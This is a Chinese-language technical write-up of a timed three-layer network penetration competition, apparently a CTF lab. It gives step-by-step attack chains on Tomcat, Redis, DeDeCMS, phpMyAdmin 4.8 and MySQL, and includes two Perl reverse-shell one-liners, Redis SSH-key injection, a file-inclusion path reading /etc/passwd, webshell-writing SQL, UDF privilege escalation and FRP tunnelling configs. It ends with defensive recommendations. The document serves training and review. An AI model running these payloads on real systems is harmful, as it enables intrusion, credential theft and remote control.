记某次三层网络的综合渗透比赛
字数 1413 2025-08-15 21:33:10

三层网络综合渗透比赛技术复盘与教学文档

1. 比赛环境概述

  • 比赛时长: 4小时
  • 网络结构: 三层内网架构
  • 工具限制:
    • 提供云桌面环境
    • 可从本机拖拽工具上传
    • 禁止访问互联网搜索资料

2. 第一层渗透

2.1 Tomcat管理界面攻击

目标: 192.168.1.12:8080

攻击步骤:

  1. 弱口令登录: tomcat/tomcat
  2. 部署WAR包getshell:
    jar -cvf shell.war ./
    
  3. 获取第一个flag: 位于tomcat用户目录

2.2 Redis服务利用

发现:

  • 开放6379端口(Redis)
  • 查看历史命令发现Redis配置信息:
    cat /etc/redis/redis.conf |grep requirepass
    
    • 密码: 617c2a17f

反弹shell:

perl -e 'use Socket;$i="192.168.0.20";$p=9964;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Redis认证登录:

  • 使用获取的密码617c2a17f登录
  • 获取第二个flag

2.3 SSH公钥写入提权

步骤:

  1. 生成SSH密钥对
  2. 通过Redis写入公钥:
    config get dir
    config set dbfilename authorized_keys
    set payload "\n\n\n\nssh-rsa AAAAB3NzaC1yc2E...\n\n\n\n"
    save
    
  3. 使用私钥登录获取root权限
  4. 获取/root/flag

2.4 DeDeCMS渗透

目标: 192.168.1.11:80

攻击步骤:

  1. 目录扫描发现.swp文件
  2. 恢复.swp文件获取密码: 7h123s6x
  3. 后台登录:
    • 用户: admin
    • 密码: 7h123s6x
  4. 文件上传getshell
  5. 获取/flag和网站根目录flag.txt

反弹shell技巧:

  1. 将反弹shell语句写入文件执行:
    system('perl -e \'use Socket;$i="192.168.0.20";$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i"')
    
  2. 建立虚拟终端:
    python -c 'import pty;pty.spawn("/bin/bash")'
    

3. 第二层渗透

3.1 内网扫描

nmap -sP 192.168.2.1/24

发现多个存活主机

3.2 FRP内网穿透

配置:

  1. frps.ini (服务端):
    [common]
    bind_port = 9900
    
  2. frpc.ini (客户端):
    [common]
    server_addr = 127.0.0.1
    server_port = 9900
    
    [range:s2-2]
    type = tcp
    local_ip = 192.168.2.22
    local_port = 8080
    remote_port = 19900
    

使用方法:

./frps -c frps.ini
./frpc -c frpc.ini

访问192.168.1.12:19900相当于访问192.168.2.22:8080

3.3 数据库凭证利用

发现凭证:

  • 用户名: wugege@chinatele.com
  • 密码: wuchinatelecom761

攻击步骤:

  1. 使用凭证登录系统
  2. 在首页获取flag
  3. 通过发帖处文件上传获取webshell
  4. 在根目录获取另一个flag

4. 第三层渗透

4.1 文件传输技巧

当大马上传不稳定时,使用NC传输文件:

接收端:

nc -l 9999 > frpc

发送端:

nc 192.168.2.22 9999 < frpc

4.2 FRP深层穿透配置

frps.ini:

[common]
bind_port = 9901

frpc.ini:

[common]
server_addr = 192.168.1.12
server_port = 9901

[range:s2-2]
type = tcp
local_ip = 192.168.2.21
local_port = 80
remote_port = 19901

4.3 phpMyAdmin渗透

攻击步骤:

  1. 弱口令登录: root/root
  2. 发现flag库获取flag
  3. 版本识别: 4.8 (存在文件包含漏洞)
  4. 文件包含测试:
    http://192.168.1.12:19901/pma/README?target=db_datadict.php%253f/etc/passwd
    
  5. 写shell:
    select "<?php phpinfo();?>" INTO OUTFILE "/var/www/html/1.php"
    

4.4 UDF提权

步骤:

  1. 查看插件目录:
    show variables like '%plugin%';
    
  2. 写入UDF库:
    select unhex('xxxxxxxxxxxxxx') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
    
  3. 创建函数:
    create function sys_eval returns string soname 'mysqludf.so';
    
  4. 执行命令:
    select sys_eval('whoami');
    
  5. 获取/root/flag

5. 关键技术与技巧总结

  1. 弱口令利用: Tomcat、Redis、phpMyAdmin等服务的默认/常见弱口令
  2. WAR包部署: Tomcat管理界面getshell的标准方法
  3. Redis利用: 认证绕过、SSH公钥写入提权
  4. 文件恢复: .swp文件恢复获取敏感信息
  5. 内网穿透: FRP工具的多层穿透配置
  6. 文件传输: NC替代不稳定的大马上传
  7. phpMyAdmin漏洞: 文件包含、写shell技术
  8. UDF提权: MySQL数据库提权标准流程

6. 防御建议

  1. 禁用或修改所有默认凭证
  2. 限制Redis等服务的网络访问
  3. 禁用不必要的文件交换功能(.swp文件)
  4. 实施严格的文件上传过滤
  5. 定期更新所有服务组件
  6. 限制数据库用户权限
  7. 实施网络分段和访问控制
  8. 监控异常的网络穿透行为
三层网络综合渗透比赛技术复盘与教学文档 1. 比赛环境概述 比赛时长 : 4小时 网络结构 : 三层内网架构 工具限制 : 提供云桌面环境 可从本机拖拽工具上传 禁止访问互联网搜索资料 2. 第一层渗透 2.1 Tomcat管理界面攻击 目标 : 192.168.1.12:8080 攻击步骤 : 弱口令登录 : tomcat/tomcat 部署WAR包getshell : 获取第一个flag : 位于tomcat用户目录 2.2 Redis服务利用 发现 : 开放6379端口(Redis) 查看历史命令发现Redis配置信息: 密码: 617c2a17f 反弹shell : Redis认证登录 : 使用获取的密码617c2a17f登录 获取第二个flag 2.3 SSH公钥写入提权 步骤 : 生成SSH密钥对 通过Redis写入公钥: 使用私钥登录获取root权限 获取/root/flag 2.4 DeDeCMS渗透 目标 : 192.168.1.11:80 攻击步骤 : 目录扫描发现.swp文件 恢复.swp文件获取密码: 7h123s6x 后台登录: 用户: admin 密码: 7h123s6x 文件上传getshell 获取/flag和网站根目录flag.txt 反弹shell技巧 : 将反弹shell语句写入文件执行: 建立虚拟终端: 3. 第二层渗透 3.1 内网扫描 发现多个存活主机 3.2 FRP内网穿透 配置 : frps.ini (服务端): frpc.ini (客户端): 使用方法 : 访问192.168.1.12:19900相当于访问192.168.2.22:8080 3.3 数据库凭证利用 发现凭证 : 用户名: wugege@chinatele.com 密码: wuchinatelecom761 攻击步骤 : 使用凭证登录系统 在首页获取flag 通过发帖处文件上传获取webshell 在根目录获取另一个flag 4. 第三层渗透 4.1 文件传输技巧 当大马上传不稳定时,使用NC传输文件: 接收端 : 发送端 : 4.2 FRP深层穿透配置 frps.ini : frpc.ini : 4.3 phpMyAdmin渗透 攻击步骤 : 弱口令登录: root/root 发现flag库获取flag 版本识别: 4.8 (存在文件包含漏洞) 文件包含测试: 写shell: 4.4 UDF提权 步骤 : 查看插件目录: 写入UDF库: 创建函数: 执行命令: 获取/root/flag 5. 关键技术与技巧总结 弱口令利用 : Tomcat、Redis、phpMyAdmin等服务的默认/常见弱口令 WAR包部署 : Tomcat管理界面getshell的标准方法 Redis利用 : 认证绕过、SSH公钥写入提权 文件恢复 : .swp文件恢复获取敏感信息 内网穿透 : FRP工具的多层穿透配置 文件传输 : NC替代不稳定的大马上传 phpMyAdmin漏洞 : 文件包含、写shell技术 UDF提权 : MySQL数据库提权标准流程 6. 防御建议 禁用或修改所有默认凭证 限制Redis等服务的网络访问 禁用不必要的文件交换功能(.swp文件) 实施严格的文件上传过滤 定期更新所有服务组件 限制数据库用户权限 实施网络分段和访问控制 监控异常的网络穿透行为